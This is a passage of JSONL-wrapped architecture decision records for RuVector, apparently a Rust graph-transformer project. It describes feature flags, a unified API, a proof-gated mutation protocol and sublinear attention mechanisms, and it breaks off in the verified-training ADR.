# Evolving attention over graph time series\n```\n\n### Feature Flags\n\nEach module is gated behind an opt-in feature flag so users pay only for what they use:\n\n```toml\n[features]\ndefault = [\"proof-gated\"]\n\n# Core (always available when enabled)\nproof-gated = [\"ruvector-verified/gated-proofs\", \"ruvector-verified/fast-arena\"]\n\n# Attention mechanisms\nsublinear-attention = [\"ruvector-solver/forward-push\", \"ruvector-solver/hybrid-random-walk\", \"ruvector-attention\"]\nphysics = [\"ruvector-mincut-gated-transformer/energy_gate\", \"ruvector-attention/pde_attention\"]\nbiological = [\"ruvector-mincut-gated-transformer/spike_attention\", \"ruvector-gnn\"]\nmanifold = [\"ruvector-attention/math\"]\n\n# Graph structure\nself-organizing = [\"ruvector-mincut/canonical\", \"ruvector-graph\"]\ntemporal = [\"ruvector-graph/temporal\"]\n\n# Training\nverified-training = [\"ruvector-gnn\", \"ruvector-verified/all-proofs\", \"ruvector-coherence/spectral\"]\n\n# Convenience\nfull = [\"proof-gated\", \"sublinear-attention\", \"physics\", \"biological\",\n \"manifold\", \"self-organizing\", \"temporal\", \"verified-training\"]\n```\n\n### Unified Entry Point\n\nThe `GraphTransformer` struct is the primary public API. It is generic over the graph representation and parameterized by a `GraphTransformerConfig`:\n\n```rust\npub struct GraphTransformer {\n config: GraphTransformerConfig,\n proof_env: ProofEnvironment, // from ruvector-verified\n arena: FastTermArena, // from ruvector-verified::fast_arena\n attention_registry: AttentionRegistry,\n gate_controller: Option,\n graph: G,\n}\n\nimpl GraphTransformer {\n pub fn new(config: GraphTransformerConfig, graph: G) -> Result;\n pub fn forward(&mut self, input: &GraphBatch) -> Result>;\n pub fn mutate(&mut self, op: GraphMutation) -> Result>;\n pub fn attention_scores(&self) -> &AttentionScores;\n pub fn coherence(&self) -> CoherenceSnapshot;\n pub fn proof_chain(&self) -> &[ProofAttestation];\n}\n```\n\n### Error Handling\n\nA single `GraphTransformerError` enum composes errors from all sub-crates using `#[from]` conversions via `thiserror`:\n\n```rust\n#[derive(Debug, thiserror::Error)]\npub enum GraphTransformerError {\n #[error(transparent)]\n Verification(#[from] ruvector_verified::VerificationError),\n #[error(transparent)]\n Gnn(#[from] ruvector_gnn::GnnError),\n #[error(transparent)]\n Attention(#[from] ruvector_attention::AttentionError),\n #[error(transparent)]\n Graph(#[from] ruvector_graph::GraphError),\n #[error(transparent)]\n Solver(#[from] ruvector_solver::error::SolverError),\n #[error(\"proof gate rejected mutation: {reason}\")]\n ProofGateRejected { reason: String, tier: ProofTier },\n #[error(\"coherence below threshold: {score} < {threshold}\")]\n CoherenceBelowThreshold { score: f64, threshold: f64 },\n #[error(\"epoch boundary: proof algebra upgrade required\")]\n EpochBoundary { current_epoch: u64, required_epoch: u64 },\n}\n```\n\n### No-std Compatibility\n\nCore types in `proof_gated/` (`ProofGate`, `ProofScope`, `MutationLedger`) are `no_std` compatible via conditional compilation. They use `core::` primitives and avoid heap allocation on the critical path. The `alloc` feature gates `Vec`-based attestation chains for `no_std` environments with an allocator.\n\n### Dependency Graph\n\n```\nruvector-graph-transformer\n |-- ruvector-verified (proof gates, attestations, FastTermArena)\n |-- ruvector-gnn (GNN layers, EWC, training, mmap)\n |-- ruvector-attention (18+ attention mechanisms)\n |-- ruvector-mincut-gated-transformer (energy gates, spiking, Mamba SSM)\n |-- ruvector-solver (sublinear sparse algorithms)\n |-- ruvector-coherence (coherence measurement, spectral scoring)\n |-- ruvector-graph (property graph, Cypher queries)\n |-- ruvector-mincut (partitioning, canonical min-cut)\n```\n\nAll dependencies use path-relative references (`path = \"../ruvector-verified\"`) and workspace version (`version = \"2.0.4\"`) except `ruvector-verified` (version `\"0.1.1\"`) and `ruvector-mincut-gated-transformer` (version `\"0.1.0\"`), which have independent versioning.\n\n## Consequences\n\n### Positive\n\n- Users get a single dependency (`ruvector-graph-transformer`) instead of coordinating eight crates\n- Feature flags keep compile times low for users who only need a subset\n- Unified error type eliminates manual `map_err` boilerplate at call sites\n- `GraphTransformer` struct provides discoverability -- IDE autocomplete shows all available operations\n- No code duplication -- every algorithm lives in exactly one crate\n- The composition pattern means sub-crate improvements automatically flow through\n\n### Negative\n\n- Adding a new attention mechanism to `ruvector-attention` requires updating `AttentionRegistry` in this crate\n- The unified error enum grows as sub-crates add error variants\n- Feature flag combinatorics create a large CI test matrix (mitigated by testing `default` and `full` profiles)\n- `GraphTransformer` struct may become a god-object if module boundaries are not enforced during review\n\n### Risks\n\n- Circular dependency: `ruvector-graph-transformer` depends on `ruvector-graph`, which must not depend back. Enforced by `cargo publish --dry-run` in CI\n- Version skew: if `ruvector-verified` ships a breaking change at 0.2.0, the composition crate must update its bridge code. Mitigated by workspace-level `[patch]` during development\n- Feature flag conflicts: enabling `biological` and `physics` simultaneously must not cause duplicate symbol errors from `ruvector-mincut-gated-transformer`. Verified by the `full` feature CI test\n\n## Implementation\n\n1. Create `crates/ruvector-graph-transformer/` with the module structure above\n2. Add to `[workspace.members]` in root `Cargo.toml`\n3. Implement `proof_gated/` first (it is the dependency of every other module)\n4. Implement each module as a thin bridge layer with integration tests\n5. Add `crates/ruvector-graph-transformer-wasm/` and `crates/ruvector-graph-transformer-node/` (see ADR-050)\n6. CI: test `--features default`, `--features full`, and each individual feature in isolation\n\n## References\n\n- ADR-045: Lean-Agentic Integration (establishes `ruvector-verified` and `ProofEnvironment`)\n- ADR-015: Coherence-Gated Transformer (sheaf attention design)\n- ADR-047: Proof-Gated Mutation Protocol (details the `ProofGate` type)\n- ADR-048: Sublinear Graph Attention (attention complexity analysis)\n- ADR-049: Verified Training Pipeline (proof-carrying training)\n- ADR-050: Graph Transformer WASM and Node.js Bindings\n- `crates/ruvector-verified/src/gated.rs`: `ProofTier`, `route_proof`, `verify_tiered`\n- `crates/ruvector-attention/src/lib.rs`: 18+ attention mechanism re-exports\n- `crates/ruvector-solver/src/lib.rs`: `SolverEngine` trait, sublinear algorithms\n- `crates/ruvector-mincut-gated-transformer/src/energy_gate.rs`: `EnergyGate`, `EnergyGateConfig`", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-046-graph-transformer-architecture.md", "created_at": "2026-03-28T11:58:49.613158+00:00", "content_hash": "6157e73fa2fd2ff165796021be8848c3974869ef17898dd46cf86b49cc3f068d"} +{"id": "e6baa234-1e79-403f-90cc-5181e8139a6e", "source": "adr", "text": "# ADR-047: Proof-Gated Mutation Protocol\n\n## Status\n\nAccepted\n\n## Date\n\n2026-02-25\n\n## Context\n\nRuVector's graph transformer operates on mutable graph state -- nodes are added, edges are rewired, attention weights are updated, and topology evolves during self-organizing operations. In safety-critical deployments (genomic pipelines, financial computation, cognitive containers), every mutation must be auditable and formally justified.\n\nThe existing `ruvector-verified` crate provides `ProofEnvironment`, `VerifiedOp`, `ProofAttestation` (82-byte witnesses), and three-tier proof routing (`Reflex`, `Standard`, `Deep`) in `crates/ruvector-verified/src/gated.rs`. However, there is no protocol for composing these primitives into a mutation control substrate -- no defined lifecycle for how a graph mutation acquires its proof, how local proofs compose into regional proofs, how proof scopes align with min-cut partition boundaries, or how the attestation chain grows without unbounded memory.\n\nWe need a protocol that makes \"no proof, no mutation\" the default, while keeping hot-path overhead below 2%.\n\n## Decision\n\nWe will implement the Proof-Gated Mutation Protocol as the `proof_gated` module within `ruvector-graph-transformer`. The protocol defines a type-level gate (`ProofGate`), a scoping mechanism (`ProofScope`), a composition algebra for attestation chains, and epoch boundaries for protocol upgrades.\n\n### The ProofGate Type\n\n`ProofGate` is a wrapper that makes the inner value inaccessible without a valid proof:\n\n```rust\n/// A value gated behind a machine-checked proof.\n///\n/// The inner `T` cannot be accessed without presenting a proof that\n/// satisfies the gate's `ProofRequirement`. This is enforced at the\n/// type level -- there is no `unsafe` escape hatch.\npub struct ProofGate {\n /// The gated value. Private -- only accessible via `unlock()`.\n inner: T,\n /// The proof requirement that must be satisfied.\n requirement: ProofRequirement,\n /// Attestation produced when the gate was satisfied.\n attestation: Option,\n}\n\nimpl ProofGate {\n /// Create a new proof gate with the given requirement.\n pub fn new(value: T, requirement: ProofRequirement) -> Self;\n\n /// Attempt to unlock the gate by providing a proof.\n /// Returns `&T` on success, `Err(ProofGateRejected)` on failure.\n pub fn unlock(&self, env: &mut ProofEnvironment) -> Result<&T>;\n\n /// Consume the gate, returning the value and its attestation chain.\n pub fn into_inner(self, env: &mut ProofEnvironment) -> Result<(T, ProofAttestation)>;\n\n /// Check if this gate has been satisfied (attestation present).\n pub fn is_satisfied(&self) -> bool;\n}\n```\n\n`ProofRequirement` is an enum that maps to `ruvector-verified::gated::ProofKind`:\n\n```rust\npub enum ProofRequirement {\n /// Dimension equality: vector has expected dimension.\n DimensionMatch { expected: u32 },\n /// Type constructor: node/edge type matches schema.\n TypeMatch { schema_id: u64 },\n /// Invariant preservation: graph property holds after mutation.\n InvariantPreserved { invariant_id: u32 },\n /// Coherence bound: attention coherence above threshold.\n CoherenceBound { min_coherence: f64 },\n /// Composition: all sub-requirements must be satisfied.\n Composite(Vec),\n}\n```\n\n### Three-Tier Routing\n\nEvery mutation routes through the existing `ruvector-verified::gated::route_proof` function, which selects the cheapest sufficient proof tier:\n\n| Tier | Target Latency | Use Case | Implementation |\n|------|---------------|----------|----------------|\n| **Reflex** | < 10 ns | Dimension checks, reflexivity, literal equality | Direct comparison, no reduction engine. Maps to `ProofTier::Reflex` |\n| **Standard** | < 1 us | Type application (depth <= 5), short pipelines (<=3 stages) | Bounded fuel via `ProofTier::Standard { max_fuel }`, auto-escalates on failure |\n| **Deep** | < 100 us | Long pipelines, custom proofs, invariant verification | Full 10,000-step kernel via `ProofTier::Deep` |\n\nRouting is automatic: the `ProofRequirement` is classified into a `ProofKind`, passed to `route_proof()`, and the returned `TierDecision` determines which verification path to take. If a tier fails, it escalates to the next tier (Reflex -> Standard -> Deep) via `verify_tiered()` as implemented in `crates/ruvector-verified/src/gated.rs`.\n\n### Attestation Chain\n\nEach successful proof produces a `ProofAttestation` (82 bytes, defined in `crates/ruvector-verified/src/proof_store.rs`). Attestations are stored in a `MutationLedger`:\n\n```rust\npub struct MutationLedger {\n /// Append-only log of attestations for this scope.\n attestations: Vec,\n /// Running content hash (FNV-1a) over all attestation bytes.\n chain_hash: u64,\n /// Epoch counter for proof algebra versioning.\n epoch: u64,\n /// Maximum attestations before compaction.\n compaction_threshold: usize,\n}\n\nimpl MutationLedger {\n /// Append an attestation. Returns the chain position.\n pub fn append(&mut self, att: ProofAttestation) -> u64;\n\n /// Compact old attestations into a single summary attestation.\n /// Preserves the chain hash but reduces memory.\n pub fn compact(&mut self) -> ProofAttestation;\n\n /// Verify the chain hash is consistent.\n pub fn verify_integrity(&self) -> bool;\n}\n```\n\n### Proof Composition\n\nLocal proofs compose into regional proofs via `compose_chain`:\n\n```rust\n/// Compose a sequence of local proof attestations into a regional proof.\n///\n/// The regional proof's `proof_term_hash` is the hash of all constituent\n/// attestation hashes. The `reduction_steps` field is the sum of all\n/// constituent steps. This is sound because proofs are append-only and\n/// each attestation covers a disjoint mutation.\npub fn compose_chain(attestations: &[ProofAttestation]) -> ProofAttestation;\n```\n\nComposition respects partition boundaries: a `ProofScope` is defined by a min-cut partition (from `ruvector-mincut`), and proofs within a scope compose locally. Cross-scope composition requires a `GlobalCoherenceProof` that verifies the boundary edges between partitions maintain coherence above the threshold.\n\n### Proof Scope and Min-Cut Alignment\n\n```rust\npub struct ProofScope {\n /// Partition ID from ruvector-mincut.\n partition_id: u32,\n /// Boundary nodes shared with adjacent partitions.\n boundary_nodes: Vec,\n /// The ledger for this scope.\n ledger: MutationLedger,\n /// Coherence measurement for this scope.\n coherence: Option,\n}\n```\n\nWhen the graph self-organizes (topology changes via `ruvector-mincut`), proof scopes are re-derived from the new partition. Attestations from the old scope are sealed with a `ScopeTransitionAttestation` that records the old and new partition IDs, the min-cut value at transition, and the composition proof of the old scope.\n\n### Monotonic Semantics\n\nAttestations are append-only. There is no `delete` operation on the `MutationLedger`. Rollback is achieved by appending a **supersession proof** -- a new attestation that proves the rolled-back state is valid, referencing the original attestation by position:\n\n```rust\npub struct SupersessionProof {\n /// Position of the attestation being superseded.\n superseded_position: u64,\n /// The new attestation that replaces it.\n replacement: ProofAttestation,\n /// Proof that the replacement is sound (e.g., inverse mutation).\n soundness_proof_id: u32,\n}\n```\n\n### Epoch Boundaries\n\nThe proof algebra may be upgraded (new invariants, changed reduction limits, new built-in symbols). Epoch boundaries are explicit:\n\n```rust\npub struct EpochBoundary {\n /// Previous epoch number.\n from_epoch: u64,\n /// New epoch number.\n to_epoch: u64,\n /// Summary attestation sealing all proofs in the previous epoch.\n seal: ProofAttestation,\n /// New proof environment configuration.\n new_config: ProofEnvironmentConfig,\n}\n```\n\nAt an epoch boundary, the `MutationLedger` is compacted, a seal attestation is produced, and the `ProofEnvironment` is reconfigured with new symbols and fuel budgets. Old proofs remain valid (sealed) but new proofs use the updated algebra.\n\n### Performance Budget\n\nThe target is less than 2% overhead on the hot path. This is achieved by:\n\n1. **Reflex tier dominance**: In steady-state graph transformer inference, 90%+ of mutations are dimension checks and reflexivity proofs, which route to Reflex (< 10 ns)\n2. **FastTermArena**: Bump allocation with O(1) dedup from `crates/ruvector-verified/src/fast_arena.rs` avoids heap allocation\n3. **Proof caching**: `ProofEnvironment::cache_lookup` avoids re-proving identical obligations\n4. **Lazy attestation**: `ProofAttestation` is constructed only when the caller requests `proof_chain()`, not on every mutation\n5. **Batch gating**: Multiple mutations within a single forward pass share one `ProofScope`, amortizing the scope setup cost\n\nBenchmarks must demonstrate: Reflex < 10 ns, Standard < 1 us, Deep < 100 us, composition of 1000 attestations < 50 us, ledger compaction of 10,000 entries < 1 ms.\n\n## Consequences\n\n### Positive\n\n- Every graph mutation carries a machine-checked proof -- auditable, reproducible, and tamper-evident\n- Three-tier routing keeps the common case (Reflex) at near-zero cost\n- Attestation chains provide a complete audit trail for compliance (GDPR provenance, SOC2 audit logs)\n- Epoch boundaries allow upgrading the proof system without invalidating historical proofs\n- Monotonic semantics prevent accidental attestation loss\n\n### Negative\n\n- `ProofGate` adds one level of indirection to every graph access\n- Developers must reason about `ProofRequirement` when defining new mutation types\n- Supersession proofs add complexity compared to simple deletion\n- The `MutationLedger` grows linearly with mutations until compaction (mitigated by compaction threshold)\n\n### Risks\n\n- If Reflex tier coverage drops below 90%, the 2% overhead budget may be exceeded. Mitigated by monitoring `ProofStats::cache_hits` ratio in production\n- Attestation chain integrity depends on FNV-1a hash -- not cryptographically secure. For production audit trails, upgrade to BLAKE3 (available via `ruvector-graph`'s `blake3` dependency)\n- Epoch boundary migration is a manual operation -- if forgotten, the ledger grows unbounded. Mitigated by a configurable auto-epoch threshold in `GraphTransformerConfig`\n\n## Implementation\n\n1. Implement `ProofGate` and `ProofRequirement` in `crates/ruvector-graph-transformer/src/proof_gated/gate.rs`\n2. Implement `MutationLedger` with append, compact, and verify in `crates/ruvector-graph-transformer/src/proof_gated/mod.rs`\n3. Implement `compose_chain` and `ProofScope` in `crates/ruvector-graph-transformer/src/proof_gated/attestation.rs`\n4. Implement `EpochBoundary` in `crates/ruvector-graph-transformer/src/proof_gated/epoch.rs`\n5. Add benchmark suite: `benches/proof_gate_bench.rs` covering all three tiers, composition, and compaction\n6. Integration test: full forward pass with 10,000 mutations, verifying attestation chain integrity\n\n## References\n\n- ADR-045: Lean-Agentic Integration (establishes `ProofEnvironment`, `ProofAttestation`, `FastTermArena`)\n- ADR-046: Graph Transformer Unified Architecture (module structure)\n- `crates/ruvector-verified/src/gated.rs`: `ProofTier`, `ProofKind`, `route_proof`, `verify_tiered`\n- `crates/ruvector-verified/src/proof_store.rs`: `ProofAttestation`, `ATTESTATION_SIZE` (82 bytes)\n- `crates/ruvector-verified/src/fast_arena.rs`: `FastTermArena`, bump allocation with FxHash dedup\n- `crates/ruvector-verified/src/error.rs`: `VerificationError` variants\n- `crates/ruvector-mincut/Cargo.toml`: `canonical` feature for pseudo-deterministic min-cut\n- `crates/ruvector-mincut-gated-transformer/src/energy_gate.rs`: `EnergyGate` decision model", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-047-proof-gated-mutation-protocol.md", "created_at": "2026-03-28T11:58:49.613421+00:00", "content_hash": "4a0d4298fdbd0894f4458c5e410f2be5f301c6079ca42e958df4eae54018927c"} +{"id": "3f9879b4-16a0-4de8-9cdc-7dd7ef7d4e0e", "source": "adr", "text": "# ADR-048: Sublinear Graph Attention\n\n## Status\n\nAccepted\n\n## Date\n\n2026-02-25\n\n## Context\n\nStandard graph attention (GAT, Graph Transformer) computes pairwise attention over all nodes, yielding O(n^2) time and memory complexity. For RuVector's target use cases -- billion-node knowledge graphs, large-scale molecular graphs, and real-time recommendation systems -- quadratic scaling is prohibitive.\n\nThe RuVector workspace already contains the algorithmic building blocks for sublinear attention:\n\n- `ruvector-solver` provides O(sqrt(n)) Personalized PageRank (PPR) via forward-push (`crates/ruvector-solver/src/forward_push.rs`) and hybrid random walks (`crates/ruvector-solver/src/random_walk.rs`)\n- `ruvector-attention` provides `FlashAttention`, `LinearAttention`, and `LocalGlobalAttention` in `crates/ruvector-attention/src/sparse/`\n- `ruvector-mincut` provides graph partitioning with the `canonical` feature for pseudo-deterministic min-cut\n- `ruvector-gnn` provides memory-mapped tensor storage (`crates/ruvector-gnn/src/mmap.rs`) and cold-tier hyperbatch training for out-of-core processing\n- `ruvector-coherence` provides spectral coherence scoring (`spectral` feature) for measuring attention quality\n\nHowever, there is no unified mechanism for composing these into a graph attention layer with provable sublinear complexity, and no integration with the proof-gated mutation protocol (ADR-047) to certify complexity bounds before execution.\n\n## Decision\n\nWe will implement a `sublinear_attention` module in `ruvector-graph-transformer` that provides three complementary sublinear graph attention mechanisms, a proof-gated complexity certification layer, and an integration path with memory-mapped processing for billion-node graphs.\n\n### Mechanism 1: LSH-Attention on Spectral Coordinates\n\n**Complexity**: O(n^{3/2}) time, O(n) memory\n\nLocality-Sensitive Hashing (LSH) groups nodes by their spectral coordinates (Laplacian eigenvectors), then computes attention only within hash buckets. This exploits the fact that spectrally similar nodes tend to be structurally close.\n\n```rust\npub struct LshSpectralAttention {\n /// Number of hash tables (more = higher recall, higher cost).\n num_tables: usize,\n /// Number of hash bits per table.\n hash_bits: usize,\n /// Spectral dimension (number of Laplacian eigenvectors).\n spectral_dim: usize,\n /// Proof requirement: complexity bound must be certified.\n complexity_proof: ProofRequirement,\n}\n\nimpl LshSpectralAttention {\n /// Compute spectral coordinates via ruvector-coherence::spectral::estimate_fiedler\n /// and ruvector-solver's Neumann series for eigenvalue estimation.\n pub fn compute_spectral_coords(\n &self,\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n\n /// Attention forward pass: hash nodes, compute intra-bucket attention.\n pub fn forward(\n &mut self,\n coords: &SpectralCoords,\n features: &NodeFeatures,\n env: &mut ProofEnvironment,\n ) -> Result>;\n}\n```\n\nThe spectral coordinates are computed once per epoch using `ruvector-coherence::spectral::estimate_fiedler` for the Fiedler vector and `ruvector-solver::neumann::NeumannSolver` for fast eigenvalue approximation. LSH tables are rebuilt only when the graph topology changes (detected via min-cut value drift).\n\n### Mechanism 2: PPR-Sampled Attention\n\n**Complexity**: O(n log n) time, O(n log n / eps) memory\n\nPersonalized PageRank defines a node-specific importance distribution. For each query node, we sample the top-k PPR neighbors and compute attention only over those:\n\n```rust\npub struct PprSampledAttention {\n /// PPR teleport probability (alpha). Standard: 0.15.\n alpha: f64,\n /// Number of PPR neighbors to attend to per query node.\n top_k: usize,\n /// Residual threshold for forward-push termination.\n epsilon: f64,\n /// Solver to use for PPR computation.\n solver: PprSolver,\n}\n\npub enum PprSolver {\n /// Forward push from ruvector-solver. O(1/eps) per source.\n ForwardPush,\n /// Hybrid random walk from ruvector-solver. O(sqrt(n) / eps) total.\n HybridRandomWalk,\n /// Combined: forward push for hot nodes, random walk for cold.\n Adaptive { hot_threshold: f64 },\n}\n\nimpl PprSampledAttention {\n /// Compute PPR-sampled attention for a batch of query nodes.\n ///\n /// Delegates to ruvector_solver::forward_push::ForwardPushSolver\n /// or ruvector_solver::random_walk (depending on PprSolver variant).\n pub fn forward(\n &mut self,\n query_nodes: &[NodeId],\n graph: &impl GraphRepr,\n features: &NodeFeatures,\n env: &mut ProofEnvironment,\n ) -> Result>;\n}\n```\n\nThe `Adaptive` solver variant uses a heuristic: nodes with degree > `hot_threshold * avg_degree` use forward push (cheaper for high-degree nodes), while low-degree nodes use hybrid random walks.\n\n### Mechanism 3: Spectral Sparsification\n\n**Complexity**: O(n log n / eps^2) edges retained, O(n log n / eps^2) time\n\nSpectral sparsification reduces the number of edges while preserving the graph Laplacian's spectral properties within a (1 + eps) factor. This is applied as a preprocessing step before any attention mechanism:\n\n```rust\npub struct SpectralSparsifier {\n /// Approximation factor. Smaller eps = more edges retained.\n epsilon: f64,\n /// Effective resistance estimation samples.\n resistance_samples: usize,\n}\n\nimpl SpectralSparsifier {\n /// Sparsify the graph, retaining O(n log n / eps^2) edges.\n ///\n /// Uses ruvector_coherence::spectral::estimate_effective_resistance_sampled\n /// to compute edge importance, then samples edges proportional to\n /// their effective resistance.\n pub fn sparsify(\n &self,\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n}\n```\n\n### Memory-Mapped Processing for Billion-Node Graphs\n\nFor graphs exceeding RAM, the sublinear attention layer integrates with `ruvector-gnn`'s memory-mapped infrastructure:\n\n```rust\npub struct MmapSublinearAttention {\n /// The underlying attention mechanism.\n inner: A,\n /// Memory-mapped node features via ruvector_gnn::MmapManager.\n mmap_manager: MmapManager,\n /// Batch size for out-of-core processing.\n batch_size: usize,\n}\n\nimpl MmapSublinearAttention {\n /// Process in batches, memory-mapping node features on demand.\n /// Uses ruvector-gnn's cold-tier hyperbatch scheduling.\n pub fn forward_batched(\n &mut self,\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n}\n```\n\nThis uses `ruvector_gnn::mmap::MmapManager` (gated behind `mmap` feature) for zero-copy access to node features stored on disk, and `ruvector_gnn::cold_tier` (gated behind `cold-tier` feature) for scheduling hyperbatches that fit in available RAM.\n\n### Hierarchical Coarsening with Learned Pooling\n\nFor multi-scale attention, the module provides hierarchical coarsening that uses `ruvector-mincut` to partition the graph, then computes attention at each coarsening level:\n\n```rust\npub struct HierarchicalAttention {\n /// Number of coarsening levels.\n levels: usize,\n /// Coarsening ratio per level (fraction of nodes to keep).\n ratio: f64,\n /// Min-cut feature flag: uses canonical min-cut for deterministic partitioning.\n use_canonical_mincut: bool,\n /// Pooling: how to aggregate node features within a partition.\n pooling: PoolingStrategy,\n}\n\npub enum PoolingStrategy {\n /// Mean of node features within partition.\n Mean,\n /// Attention-weighted sum (learnable).\n AttentionPooling { dim: usize },\n /// Top-k scoring (learnable, like SAGPool).\n TopK { ratio: f64 },\n}\n```\n\n### Proof-Gated Complexity Certification\n\nBefore executing any sublinear attention operation, the complexity bound is certified via the proof gate. This prevents accidental quadratic execution:\n\n```rust\n/// Certify that the attention mechanism will run within the stated\n/// complexity bound for the given graph size.\n///\n/// Returns a ProofGate that must be unlocked before\n/// the attention forward pass can proceed.\npub fn certify_complexity(\n mechanism: &dyn SublinearGraphAttention,\n graph_stats: &GraphStats,\n env: &mut ProofEnvironment,\n) -> Result>;\n\npub struct ComplexityBound {\n /// Upper bound on operations: O(f(n, m, params)).\n pub ops_upper_bound: u64,\n /// Upper bound on memory bytes.\n pub memory_upper_bound: u64,\n /// The complexity class (for display/logging).\n pub complexity_class: String,\n}\n```\n\nThe certification computes the concrete upper bound given the graph's node count `n`, edge count `m`, and mechanism-specific parameters (eps, top_k, num_tables), then proves via `ProofTier::Reflex` that the bound is within the configured budget.\n\n### SublinearGraphAttention Trait\n\nAll mechanisms implement a common trait:\n\n```rust\npub trait SublinearGraphAttention {\n /// Theoretical complexity class as a string (e.g., \"O(n^{3/2})\").\n fn complexity_class(&self) -> &str;\n\n /// Concrete operation count upper bound for a graph with n nodes, m edges.\n fn ops_upper_bound(&self, n: usize, m: usize) -> u64;\n\n /// Concrete memory upper bound in bytes.\n fn memory_upper_bound(&self, n: usize, m: usize) -> u64;\n\n /// Forward pass.\n fn forward(\n &mut self,\n graph: &dyn GraphRepr,\n features: &NodeFeatures,\n env: &mut ProofEnvironment,\n ) -> Result>;\n}\n```\n\n### Attention Registry Integration\n\nThe `AttentionRegistry` in `GraphTransformer` (ADR-046) can hold any `SublinearGraphAttention` implementor. Users can register custom sublinear mechanisms:\n\n```rust\nlet mut gt = GraphTransformer::new(config, graph)?;\ngt.register_attention(\"ppr-k64\", PprSampledAttention::new(0.15, 64, 1e-6, PprSolver::Adaptive { hot_threshold: 2.0 }));\ngt.register_attention(\"lsh-spectral\", LshSpectralAttention::new(8, 12, 32));\n```\n\n## Consequences\n\n### Positive\n\n- Billion-node graphs become tractable: O(n log n) PPR attention scales to 10^9 nodes\n- Proof-gated complexity bounds prevent runtime blowup -- the system refuses to execute if the bound exceeds budget\n- Three complementary mechanisms cover different graph structures (dense clusters via LSH, sparse power-law via PPR, general via sparsification)\n- Memory-mapped integration avoids OOM for large graphs\n- Hierarchical coarsening enables multi-scale representation learning\n\n### Negative\n\n- LSH spectral coordinates require an upfront eigenvalue computation (amortized over epochs)\n- PPR forward-push has high variance for disconnected or near-disconnected components\n- Spectral sparsification quality degrades for non-expander graphs\n- Three mechanisms increase the decision surface for users choosing an approach\n\n### Risks\n\n- PPR alpha parameter is sensitive: too high (> 0.3) makes attention too local, too low (< 0.05) loses locality. Mitigated by the `Adaptive` solver which auto-tunes based on graph diameter\n- Memory-mapped processing introduces I/O latency. On NVMe SSDs, random 4KB reads are ~10 us; on HDDs, ~10 ms. The cold-tier scheduler mitigates this by prefetching based on PPR locality\n- Spectral sparsification discards edges that may be important for attention. Mitigated by post-sparsification coherence check via `ruvector-coherence::spectral::SpectralCoherenceScore`\n\n## Implementation\n\n1. Define `SublinearGraphAttention` trait in `crates/ruvector-graph-transformer/src/sublinear_attention/mod.rs`\n2. Implement `PprSampledAttention` bridging to `ruvector-solver::forward_push` and `ruvector-solver::random_walk`\n3. Implement `LshSpectralAttention` using `ruvector-coherence::spectral` for eigenvector estimation\n4. Implement `SpectralSparsifier` using `ruvector-coherence::spectral::estimate_effective_resistance_sampled`\n5. Implement `HierarchicalAttention` bridging to `ruvector-mincut` canonical partitioning\n6. Implement `MmapSublinearAttention` bridging to `ruvector-gnn::mmap::MmapManager`\n7. Implement `certify_complexity` using `ruvector-verified::gated::route_proof`\n8. Benchmarks: PPR-64 on ogbn-papers100M (111M nodes), LSH on ogbn-products (2.4M nodes)\n\n## References\n\n- ADR-046: Graph Transformer Unified Architecture (module structure, `AttentionRegistry`)\n- ADR-047: Proof-Gated Mutation Protocol (`ProofGate`, `ProofRequirement`)\n- `crates/ruvector-solver/src/forward_push.rs`: `ForwardPushSolver` for PPR\n- `crates/ruvector-solver/src/random_walk.rs`: hybrid random walk PPR\n- `crates/ruvector-solver/src/neumann.rs`: `NeumannSolver` for eigenvalue estimation\n- `crates/ruvector-solver/src/traits.rs`: `SolverEngine` trait\n- `crates/ruvector-attention/src/sparse/`: `FlashAttention`, `LinearAttention`, `LocalGlobalAttention`\n- `crates/ruvector-coherence/src/spectral.rs`: `estimate_fiedler`, `estimate_effective_resistance_sampled`, `SpectralCoherenceScore`\n- `crates/ruvector-gnn/src/mmap.rs`: `MmapManager`, `MmapGradientAccumulator`\n- `crates/ruvector-gnn/src/cold_tier.rs`: hyperbatch scheduling for out-of-core training\n- `crates/ruvector-mincut/Cargo.toml`: `canonical` feature for pseudo-deterministic min-cut\n- Klicpera et al., \"Predict then Propagate\" (ICLR 2019) -- PPR-based GNN\n- Spielman & Srivastava, \"Graph Sparsification by Effective Resistances\" (STOC 2008)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-048-sublinear-graph-attention.md", "created_at": "2026-03-28T11:58:49.613543+00:00", "content_hash": "9b5d0e970fe53316cb0043821f3c8de4296f94800af848e977ea43bbe6aaf0df"} +{"id": "ec0ffdfe-dfa9-4284-a59b-00548243fd8f", "source": "adr", "text": "# ADR-049: Verified Training Pipeline\n\n## Status\n\nAccepted\n\n## Date\n\n2026-02-25\n\n## Context\n\nTraining graph transformers involves thousands of gradient steps, each of which modifies model weights. In safety-critical applications, we need guarantees that training did not introduce pathological behavior: unbounded loss spikes, conservation law violations, equivariance breakage, or adversarial vulnerability. Post-hoc auditing of trained models is expensive and often misses subtle training-time regressions.\n\nThe RuVector workspace provides the building blocks for verified training:\n\n- `ruvector-gnn` provides `Optimizer` (SGD, Adam), `ElasticWeightConsolidation` (EWC), `LearningRateScheduler`, `ReplayBuffer`, and a training loop with `TrainConfig` in `crates/ruvector-gnn/src/training.rs`\n- `ruvector-verified` provides `ProofEnvironment`, `ProofAttestation` (82 bytes), `FastTermArena` for high-throughput proof allocation, and tiered verification via `ProofTier`\n- `ruvector-coherence` provides `SpectralCoherenceScore` and `SpectralTracker` (behind `spectral` feature) for monitoring model quality during training\n- `ruvector-mincut-gated-transformer` provides `EnergyGate` in `crates/ruvector-mincut-gated-transformer/src/energy_gate.rs` for energy-based decision making\n\nHowever, there is no mechanism for issuing per-step invariant proofs during training, no `TrainingCertificate` that attests to the training run's integrity, and no integration between the proof system and the gradient update loop.\n\n## Decision\n\nWe will implement a `verified_training` module in `ruvector-graph-transformer` that wraps `ruvector-gnn`'s training infrastructure with proof gates, producing per-step invariant proofs and a final `TrainingCertificate` that attests to the entire training run.\n\n### VerifiedTrainer\n\n```rust\n/// A training wrapper that issues proof attestations per gradient step.\n///\n/// Wraps ruvector_gnn::training::Optimizer and composes with\n/// ruvector_verified::ProofEnvironment for per-step invariant 